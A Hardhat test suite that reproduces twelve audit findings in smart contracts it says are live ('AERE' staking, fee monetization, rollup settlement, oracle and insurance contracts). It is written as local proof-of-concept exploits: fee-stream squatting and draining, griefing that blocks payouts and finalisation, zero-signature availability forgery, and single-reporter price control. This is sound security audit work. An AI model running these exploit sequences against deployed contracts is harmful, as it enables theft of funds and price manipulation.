// AUDIT VERIFICATION SUITE — 2026-07-10 // Adversarial verification of candidate bugs flagged in LIVE AERE contracts. // Each test either REPRODUCES the bug (CONFIRMED) or shows a guard REFUTES it. // Runs fully local against the REAL contract sources (same bytecode as deployed). // NO contract sources modified. NO deploys to mainnet. NO mainnet txs. // // Findings covered here: 1,2,3,4,5,6,7,8,9,10,11,12 (13 lives in a sibling file). const { expect } = require("chai"); const { ethers } = require("hardhat"); const ONE = 10n ** 18n; describe("AUDIT VERIFY — AERE live contracts", function () { this.timeout(300000); // ───────────────────────── Finding 1 ───────────────────────── describe("F1 AereFeeMonetization.register squat + permanent DoS", function () { it("CONFIRMED: attacker squats a victim contract's fee stream; victim can never register; attacker drains distributed fees", async () => { const [owner, attacker, dist, victimContract, victimDev] = await ethers.getSigners(); const FM = await ethers.getContractFactory("AereFeeMonetization"); const fm = await FM.deploy(owner.address); await fm.waitForDeployment(); await fm.connect(owner).setDistributor(dist.address, true); // Attacker registers the VICTIM contract's address, minting the NFT to itself. // No check that msg.sender controls victimContract. const rc = await (await fm.connect(attacker).register(victimContract.address, attacker.address)).wait(); const tokenId = await fm.tokenIdOf(victimContract.address); expect(tokenId).to.equal(1n); expect(await fm.ownerOf(tokenId)).to.equal(attacker.address); // The real developer can NEVER register their own contract now (permanent DoS). await expect( fm.connect(victimDev).register(victimContract.address, victimDev.address) ).to.be.revertedWith("FeeMon: already registered"); // Foundation distributor credits fees for that contract -> attacker's tokenId. const amt = 5n * ONE; await fm.connect(dist).distribute([tokenId], [amt], 0n, { value: amt }); expect(await fm.pendingRewards(tokenId)).to.equal(amt); // Attacker claims the victim's fee stream. const before = await ethers.provider.getBalance(attacker.address); const claimRc = await (await fm.connect(attacker).claim(tokenId)).wait(); const gas = claimRc.gasUsed * claimRc.gasPrice; const after = await ethers.provider.getBalance(attacker.address); expect(after + gas - before).to.equal(amt); // There is no unregister / reclaim path (interface has none). const names = fm.interface.fragments.filter(f => f.type === "function").map(f => f.name); expect(names).to.not.include("unregister"); expect(names).to.not.include("deregister"); }); }); // ───────────────────────── Finding 2 ───────────────────────── describe("F2 AereStaking.delegate top-up does NOT reset lastClaimBlock", function () { it("CONFIRMED: freshly-added stake retroactively earns a full period of rewards", async () => { const [v, d] = await ethers.getSigners(); const S = await ethers.getContractFactory("AereStaking"); const st = await S.deploy(); await st.waitForDeployment(); await st.connect(v).registerValidator(0, { value: 500n * ONE }); // commission 0 const X = 100n * ONE; await st.connect(d).delegate(v.address, { value: X }); const del0 = await st.delegations(v.address, d.address); const firstClaimBlock = del0.lastClaimBlock; // Let a period elapse. await ethers.provider.send("hardhat_mine", ["0x3E8"]); // 1000 blocks const pBefore = await st.pendingRewards(v.address, d.address); // Top up with a large amount. Because d.amount != 0, lastClaimBlock is NOT reset. const Y = 900n * ONE; await st.connect(d).delegate(v.address, { value: Y }); const del1 = await st.delegations(v.address, d.address); // EVIDENCE 1: lastClaimBlock unchanged (no reset on top-up). expect(del1.lastClaimBlock).to.equal(firstClaimBlock); expect(del1.amount).to.equal(X + Y); // EVIDENCE 2: pending now scales with the FULL new balance over the whole // elapsed window — the +900 AERE earns rewards for blocks before it existed. const cur = BigInt(await ethers.provider.getBlockNumber()); const elapsed = cur - firstClaimBlock; const expectedBuggy = ((X + Y) * 800n * elapsed) / (315360000n * 10000n); const pAfter = await st.pendingRewards(v.address, d.address); expect(pAfter).to.equal(expectedBuggy); // Fair value would credit Y only from the top-up block onward (~0 blocks here). const fair = (X * 800n * elapsed) / (315360000n * 10000n); // Y contributes ~nothing fairly expect(pAfter).to.be.gt(fair * 9n); // ~10x inflated (Y=9X earning full retro period) }); }); // ───────────────────────── Finding 3 ───────────────────────── describe("F3 AereStaking validator self-stake is locked forever", function () { it("CONFIRMED: no code path returns registerValidator's selfStake to the validator", async () => { const [v] = await ethers.getSigners(); const S = await ethers.getContractFactory("AereStaking"); const st = await S.deploy(); await st.waitForDeployment(); await st.connect(v).registerValidator(0, { value: 500n * ONE }); const info = await st.validators(v.address); expect(info.selfStake).to.equal(500n * ONE); expect(await ethers.provider.getBalance(await st.getAddress())).to.equal(500n * ONE); // No deregister / withdrawSelfStake / exitValidator function exists. const names = st.interface.fragments.filter(f => f.type === "function").map(f => f.name); for (const n of ["deregisterValidator", "withdrawSelfStake", "exitValidator", "unregisterValidator", "withdrawValidator"]) { expect(names).to.not.include(n); } // The only "withdraw" primitives (unbond/claimUnbonded) act on DELEGATIONS, // and the validator never delegated to itself -> unbond reverts. await expect( st.connect(v).unbond(v.address, 500n * ONE) ).to.be.revertedWith("AereStaking: insufficient delegation"); // claimUnbonded has nothing queued either. await expect(st.connect(v).claimUnbonded()).to.be.revertedWith("AereStaking: nothing to claim"); // selfStake remains stuck in the contract. expect(await ethers.provider.getBalance(await st.getAddress())).to.equal(500n * ONE); }); }); // ───────────────────────── Finding 4 ───────────────────────── describe("F4 AereStaking re-registration after slash underflows delegator unbond", function () { it("CONFIRMED: re-register zeroes totalDelegated while delegations persist -> unbond reverts (panic 0x11)", async () => { const [owner, v, d] = await ethers.getSigners(); const S = await ethers.getContractFactory("AereStaking"); const st = await S.connect(owner).deploy(); await st.waitForDeployment(); await st.connect(v).registerValidator(0, { value: 500n * ONE }); const D = 50n * ONE; await st.connect(d).delegate(v.address, { value: D }); expect((await st.validators(v.address)).totalDelegated).to.equal(D); // One slash (5%) drops selfStake to 475 < 500 -> validator deactivated. await st.connect(owner).slash(v.address, "double-sign"); expect((await st.validators(v.address)).active).to.equal(false); // Deactivated validator re-registers: overwrites struct, totalDelegated = 0. await st.connect(v).registerValidator(0, { value: 500n * ONE }); expect((await st.validators(v.address)).totalDelegated).to.equal(0n); // Delegator still holds a 50 AERE delegation, but unbond underflows totalDelegated. expect((await st.delegations(v.address, d.address)).amount).to.equal(D); await expect(st.connect(d).unbond(v.address, D)).to.be.revertedWithPanic(0x11); }); }); // ───────────────────────── Finding 5 ───────────────────────── describe("F5 AereStaking reward constant assumes 0.1s blocks; chain runs ~0.5s", function () { it("CONFIRMED: realized APY is ~5x below the intended 8% (constant 315,360,000)", async () => { const [v, d] = await ethers.getSigners(); const S = await ethers.getContractFactory("AereStaking"); const st = await S.deploy(); await st.waitForDeployment(); await st.connect(v).registerValidator(0, { value: 500n * ONE }); const stake = 100n * ONE; await st.connect(d).delegate(v.address, { value: stake }); const del = await st.delegations(v.address, d.address); const MINE = 500000n; await ethers.provider.send("hardhat_mine", ["0x" + MINE.toString(16)]); const cur = BigInt(await ethers.provider.getBlockNumber()); const elapsed = cur - del.lastClaimBlock; const pending = await st.pendingRewards(v.address, d.address); // Reproduce the contract's constant to prove it is 315,360,000 (0.1s blocks). const expected = (stake * 800n * elapsed) / (315360000n * 10000n); expect(pending).to.equal(expected); // Realized APY at the REAL 0.5s block time (measured on-chain: 0.5055 s/block). // blocks/year @0.5s = 31,536,000 / 0.5 = 63,072,000. const BLOCKS_PER_YEAR_HALF_SEC = 63072000n; // annual reward fraction (bps) = 800 * blocksPerYear / 315,360,000 const realizedBps = (800n * BLOCKS_PER_YEAR_HALF_SEC) / 315360000n; expect(realizedBps).to.equal(160n); // 1.60% realized vs 800 bps (8%) intended expect(800n / realizedBps).to.equal(5n); // exactly 5x underpay at 0.5s }); }); // ─────────────────────── Findings 6 & 7 ─────────────────────── describe("F6/F7 AereRollupSettlement last-block griefing + permanent finalisation freeze", function () { const WINDOW = 3600n; async function deployRS() { const [deployer, owner, sequencer, sink, challenger] = await ethers.getSigners(); const T = await ethers.getContractFactory("MockERC20Lending"); const dbt = await T.deploy("WAERE", "WAERE", 18); await dbt.waitForDeployment(); const RS = await ethers.getContractFactory("AereRollupSettlement"); const cfg = [ ethers.id("rollup:test"), // rollupId owner.address, // rollupOwner sequencer.address, // sequencer sink.address, // sink await dbt.getAddress(), // debtToken WINDOW, // challengeWindow 1000, // sinkBps 8000, // rollupBps 1000, // sequencerBps ONE, // minChallengeBond ]; const rs = await RS.deploy(cfg); await rs.waitForDeployment(); await dbt.mint(challenger.address, 100n * ONE); await dbt.connect(challenger).approve(await rs.getAddress(), ethers.MaxUint256); return { rs, dbt, owner, sequencer, challenger }; } it("CONFIRMED F6: challenge in last in-window block cannot be defended; valid root rejected, bond fully refunded, no slash", async () => { const { rs, dbt, sequencer, challenger } = await deployRS(); await rs.connect(sequencer).proposeStateRoot(1, ethers.id("root1"), ethers.id("l2#1")); const s = await rs.roots(1); const proposedAt = s.proposedAt; const bondBefore = await dbt.balanceOf(challenger.address); // Place the challenge tx ITSELF in the last in-window block (timestamp = T+W-1). await ethers.provider.send("evm_setNextBlockTimestamp", [Number(proposedAt + WINDOW - 1n)]); await rs.connect(challenger).challenge(1, ONE, ethers.id("reason")); // The very next block is already at/after window end -> sequencer cannot resolve. await ethers.provider.send("evm_setNextBlockTimestamp", [Number(proposedAt + WINDOW)]); await expect(rs.connect(sequencer).resolveChallenge(1, false)).to.be.revertedWithCustomError(rs, "WindowClosed"); await expect(rs.connect(sequencer).resolveChallenge(1, true)).to.be.revertedWithCustomError(rs, "WindowClosed"); // Only the expired path remains: rejects the (valid) root + full refund, NO slash. await rs.resolveChallengeExpired(1); const after = await rs.roots(1); expect(after.resolvedRejected).to.equal(true); expect(await rs.isFinalised(1)).to.equal(false); // challenger got the ENTIRE bond back (griefing is costless beyond gas). expect(await dbt.balanceOf(challenger.address)).to.equal(bondBefore); }); it("CONFIRMED F7: one rejected epoch permanently freezes latestFinalisedEpoch and cannot be re-proposed", async () => { const { rs, sequencer, challenger } = await deployRS(); // Epoch 1 gets rejected via the last-block griefing path. await rs.connect(sequencer).proposeStateRoot(1, ethers.id("r1"), ethers.id("h1")); let s1 = await rs.roots(1); await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s1.proposedAt + WINDOW - 1n)]); await rs.connect(challenger).challenge(1, ONE, ethers.id("x")); await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s1.proposedAt + WINDOW)]); await rs.resolveChallengeExpired(1); expect((await rs.roots(1)).resolvedRejected).to.equal(true); // Epoch 2 proposed cleanly and left to finalise. await rs.connect(sequencer).proposeStateRoot(2, ethers.id("r2"), ethers.id("h2")); const s2 = await rs.roots(2); await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s2.proposedAt + WINDOW + 1n)]); await ethers.provider.send("evm_mine", []); expect(await rs.isFinalised(2)).to.equal(true); // epoch 2 individually finalisable // But the contiguous tracker is stuck at 0 because epoch 1 never finalises. await rs.advanceFinalisation(); expect(await rs.latestFinalisedEpoch()).to.equal(0n); // And epoch 1 can NEVER be re-proposed (strict continuity: needs latestEpoch+1 = 3). await expect( rs.connect(sequencer).proposeStateRoot(1, ethers.id("r1b"), ethers.id("h1b")) ).to.be.revertedWithCustomError(rs, "EpochOutOfOrder"); }); }); // ───────────────────────── Finding 8 ───────────────────────── describe("F8 AereCompliancePool challenge bond: honest challenger never recovers bond", function () { async function deployPool() { const [foundation, challenger] = await ethers.getSigners(); const T = await ethers.getContractFactory("MockERC20Lending"); const token = await T.deploy("WAERE", "WAERE", 18); await token.waitForDeployment(); const V = await ethers.getContractFactory("MockPrivacyPoolVerifier"); const verifier = await V.deploy(); await verifier.waitForDeployment(); const P = await ethers.getContractFactory("AereCompliancePool"); const pool = await P.deploy(await token.getAddress(), ONE, foundation.address, await verifier.getAddress()); await pool.waitForDeployment(); await token.mint(challenger.address, 500n * ONE); await token.connect(challenger).approve(await pool.getAddress(), ethers.MaxUint256); return { pool, token, foundation, challenger }; } it("CONFIRMED: bond is either burned on dismissal or locked forever if upheld — no refund path exists", async () => { const { pool, token, foundation, challenger } = await deployPool(); const BOND = await pool.CHALLENGE_BOND(); // Branch A: an UPHELD challenge (Foundation simply never dismisses). const rootA = ethers.id("assoc-A"); await pool.connect(foundation).proposeAssociationRoot(rootA); const balBefore = await token.balanceOf(challenger.address); await pool.connect(challenger).challengeAssociationRoot(rootA, "fraudulent set"); expect(await token.balanceOf(challenger.address)).to.equal(balBefore - BOND); expect(await token.balanceOf(await pool.getAddress())).to.equal(BOND); // The root can never publish (stays challenged) AND there is no refund fn. await expect(pool.publishAssociationRoot(rootA)).to.be.revertedWithCustomError(pool, "UnknownAssociationRoot"); const names = pool.interface.fragments.filter(f => f.type === "function").map(f => f.name); for (const n of ["refundChallenger", "upholdChallenge", "reclaimBond", "withdrawBond"]) { expect(names).to.not.include(n); } // Bond is stuck in the contract; challenger is permanently out 100 AERE. expect(await token.balanceOf(challenger.address)).to.equal(balBefore - BOND); // Branch B: a DISMISSED challenge burns the bond to dEaD (challenger still loses it). const rootB = ethers.id("assoc-B"); await pool.connect(foundation).proposeAssociationRoot(rootB); await pool.connect(challenger).challengeAssociationRoot(rootB, "reason"); const dead = "0x000000000000000000000000000000000000dEaD"; const deadBefore = await token.balanceOf(dead); await pool.connect(foundation).dismissAssociationRootChallenge(rootB); expect(await token.balanceOf(dead)).to.equal(deadBefore + BOND); // burned, not refunded }); }); // ───────────────────────── Finding 9 ───────────────────────── describe("F9 AereDACommittee removeMember drives threshold to 0 -> forge availability with zero sigs", function () { it("CONFIRMED: admin can remove all members; attest([]) then records availability with 0 signatures", async () => { const [admin, m1, m2, m3] = await ethers.getSigners(); const members = [m1, m2, m3]; const DAC = await ethers.getContractFactory("AereDACommittee"); const dac = await DAC.deploy(admin.address, members.map(m => m.address), 2); await dac.waitForDeployment(); for (const m of members) await dac.connect(admin).removeMember(m.address); expect(await dac.memberCount()).to.equal(0n); expect(await dac.threshold()).to.equal(0n); // clamped past the setThreshold(>0) guard const rollupId = ethers.id("rollup:forge"); const epoch = 42n; const dc = ethers.id("forged-commitment"); // Zero signatures: valid(0) < threshold(0) is FALSE -> passes. await dac.attest(rollupId, epoch, dc, []); expect(await dac.isAvailable(rollupId, epoch)).to.equal(true); const [available, , , sigs] = await dac.getAttestation(rollupId, epoch); expect(available).to.equal(true); expect(sigs).to.equal(0n); // availability forged with zero committee signatures }); }); // ───────────────────────── Finding 10 ──────────────────────── describe("F10 AereSlashingInsurance.cancelCoverage front-runs a matured payout", function () { it("CONFIRMED: a non-Foundation griefer cancels a matured claim, permanently blocking the payout", async () => { const [foundation, griefer, delegatee] = await ethers.getSigners(); const SI = await ethers.getContractFactory("AereSlashingInsurance"); const si = await SI.deploy(foundation.address, 5000, 10n ** 24n, 0, 100); // coverage 50%, cooldown 0, delay 100s await si.waitForDeployment(); await si.connect(foundation).donate({ value: 100n * ONE }); await si.connect(foundation).proposeCoverage(delegatee.address, 20n * ONE, ethers.id("evidence")); // Mature the claim. await ethers.provider.send("evm_increaseTime", [101]); await ethers.provider.send("evm_mine", []); // Griefer front-runs executeCoverage with a cancel — no readyAt/timelock guard on cancel. await si.connect(griefer).cancelCoverage(0, "griefing a valid claim"); await expect(si.connect(delegatee).executeCoverage(0)).to.be.revertedWithCustomError(si, "NoClaim"); // Re-proposal is cancellable again the same way (repeatable DoS). await si.connect(foundation).proposeCoverage(delegatee.address, 20n * ONE, ethers.id("evidence2")); await ethers.provider.send("evm_increaseTime", [101]); await ethers.provider.send("evm_mine", []); await si.connect(griefer).cancelCoverage(1, "again"); await expect(si.connect(delegatee).executeCoverage(1)).to.be.revertedWithCustomError(si, "NoClaim"); }); }); // ───────────────────────── Finding 11 ──────────────────────── describe("F11 AereOracle.getPrice: a single fresh reporter controls the price", function () { it("CONFIRMED: with all others stale, one fresh reporter sets the median (contributors == 1)", async () => { const [owner, r1, r2, r3] = await ethers.getSigners(); const O = await ethers.getContractFactory("AereOracle"); const o = await O.connect(owner).deploy(); await o.waitForDeployment(); for (const r of [r1, r2, r3]) await o.connect(owner).addReporter(r.address); const sym = ethers.encodeBytes32String("AERE/USD"); await o.connect(r1).submit(sym, 100n * 10n ** 8n); await o.connect(r2).submit(sym, 101n * 10n ** 8n); await o.connect(r3).submit(sym, 99n * 10n ** 8n); // Age everything past maxStaleness (5 min). await ethers.provider.send("evm_increaseTime", [301]); await ethers.provider.send("evm_mine", []); // Only r1 refreshes — to an arbitrary manipulated value. const manipulated = 500000n * 10n ** 8n; await o.connect(r1).submit(sym, manipulated); const [price, , contributors] = await o.getPrice(sym); expect(contributors).to.equal(1n); expect(price).to.equal(manipulated); // single reporter fully controls the feed }); }); // ───────────────────────── Finding 12 ──────────────────────── describe("F12 AereLendingOracle NavOracle feed is a dead path", function () { it("CONFIRMED: configureFeed(NavOracle -> AereNavOracle) reverts (no latestForAsset on the deployed NAV oracle)", async () => { const [owner] = await ethers.getSigners(); const LO = await ethers.getContractFactory("AereLendingOracle"); const lo = await LO.connect(owner).deploy(); await lo.waitForDeployment(); const NAV = await ethers.getContractFactory("AereNavOracle"); const nav = await NAV.deploy(); await nav.waitForDeployment(); // Sanity: the deployed AereNavOracle exposes NO latestForAsset(bytes32) selector. const navNames = nav.interface.fragments.filter(f => f.type === "function").map(f => f.name); expect(navNames).to.not.include("latestForAsset"); const asset = ethers.Wallet.createRandom().address; // FeedType.NavOracle = 1. Auto-poke in configureFeed calls latestForAsset -> revert. await expect( lo.connect(owner).configureFeed(asset, 1, await nav.getAddress(), ethers.id("BUIDL"), 86400, 0, 18) ).to.be.reverted; }); }); });